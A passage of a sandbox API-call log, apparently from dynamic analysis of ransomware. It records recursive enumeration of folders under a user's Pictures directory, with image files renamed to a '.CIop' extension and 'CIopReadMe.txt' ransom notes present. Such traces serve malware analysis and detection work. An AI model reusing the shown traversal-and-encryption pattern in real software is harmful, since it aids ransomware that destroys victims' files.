lpFindFileData=0x2dc5f78) returned 0 [0128.277] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0128.277] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0128.277] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0128.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0128.277] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67ddb8 [0128.277] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0128.277] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0128.277] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.277] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.277] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.277] lstrcmpW (lpString1="-yOADLMtpkF", lpString2="..") returned 1 [0128.277] lstrcmpW (lpString1="-yOADLMtpkF", lpString2=".") returned 1 [0128.278] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0128.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0128.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0128.278] SetErrorMode (uMode=0x1) returned 0x1 [0128.278] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0128.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0128.278] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0128.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0128.278] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e0b8 [0128.278] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0128.278] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0128.278] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.278] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.278] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0128.278] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0128.278] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0128.278] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0128.278] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0128.278] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0128.278] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0128.278] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.278] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.278] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.278] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0128.278] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0128.279] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.279] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.279] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.279] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2="..") returned 1 [0128.279] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2=".") returned 1 [0128.279] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0128.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0128.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0128.279] SetErrorMode (uMode=0x1) returned 0x1 [0128.279] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0128.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0128.279] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0128.279] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0128.279] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67deb8 [0128.279] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0128.279] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0128.279] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.281] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.281] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.281] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.281] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.281] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.281] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.281] lstrcmpW (lpString1="Z-AP6tzBW HexwllgoRb.jpg.CIop", lpString2="..") returned 1 [0128.281] lstrcmpW (lpString1="Z-AP6tzBW HexwllgoRb.jpg.CIop", lpString2=".") returned 1 [0128.281] lstrlenW (lpString=".CIop") returned 5 [0128.281] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.281] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0128.281] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0128.281] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0128.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0128.281] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dd78 [0128.281] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0128.281] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0128.281] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.281] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.281] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.281] lstrcmpW (lpString1="72AEjtrdw7I", lpString2="..") returned 1 [0128.281] lstrcmpW (lpString1="72AEjtrdw7I", lpString2=".") returned 1 [0128.281] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0128.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0128.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0128.281] SetErrorMode (uMode=0x1) returned 0x1 [0128.281] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0128.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0128.281] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0128.281] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0128.282] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dbf8 [0128.282] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0128.282] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0128.282] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.282] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.282] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.282] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.282] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.282] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.282] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.282] lstrcmpW (lpString1="jf2gmUDSNpxqc ZNVVv.jpg.CIop", lpString2="..") returned 1 [0128.282] lstrcmpW (lpString1="jf2gmUDSNpxqc ZNVVv.jpg.CIop", lpString2=".") returned 1 [0128.282] lstrlenW (lpString=".CIop") returned 5 [0128.282] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.282] lstrcmpW (lpString1="lAHCz7usAd.gif.CIop", lpString2="..") returned 1 [0128.282] lstrcmpW (lpString1="lAHCz7usAd.gif.CIop", lpString2=".") returned 1 [0128.282] lstrlenW (lpString=".CIop") returned 5 [0128.282] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.282] lstrcmpW (lpString1="MsxtzGW tpKDJN.gif.CIop", lpString2="..") returned 1 [0128.282] lstrcmpW (lpString1="MsxtzGW tpKDJN.gif.CIop", lpString2=".") returned 1 [0128.282] lstrlenW (lpString=".CIop") returned 5 [0128.282] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.282] lstrcmpW (lpString1="TqgqXxG.bmp.CIop", lpString2="..") returned 1 [0128.282] lstrcmpW (lpString1="TqgqXxG.bmp.CIop", lpString2=".") returned 1 [0128.282] lstrlenW (lpString=".CIop") returned 5 [0128.282] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.282] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0128.282] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0128.282] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0128.282] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0128.282] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0128.282] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e2b8 [0128.282] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0128.282] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0128.283] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.283] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.283] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.283] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.283] lstrcmpW (lpString1="E6JXhV-d_ UCg59VKS", lpString2="..") returned 1 [0128.283] lstrcmpW (lpString1="E6JXhV-d_ UCg59VKS", lpString2=".") returned 1 [0128.283] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0128.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0128.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0128.283] SetErrorMode (uMode=0x1) returned 0x1 [0128.283] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0128.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0128.283] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B 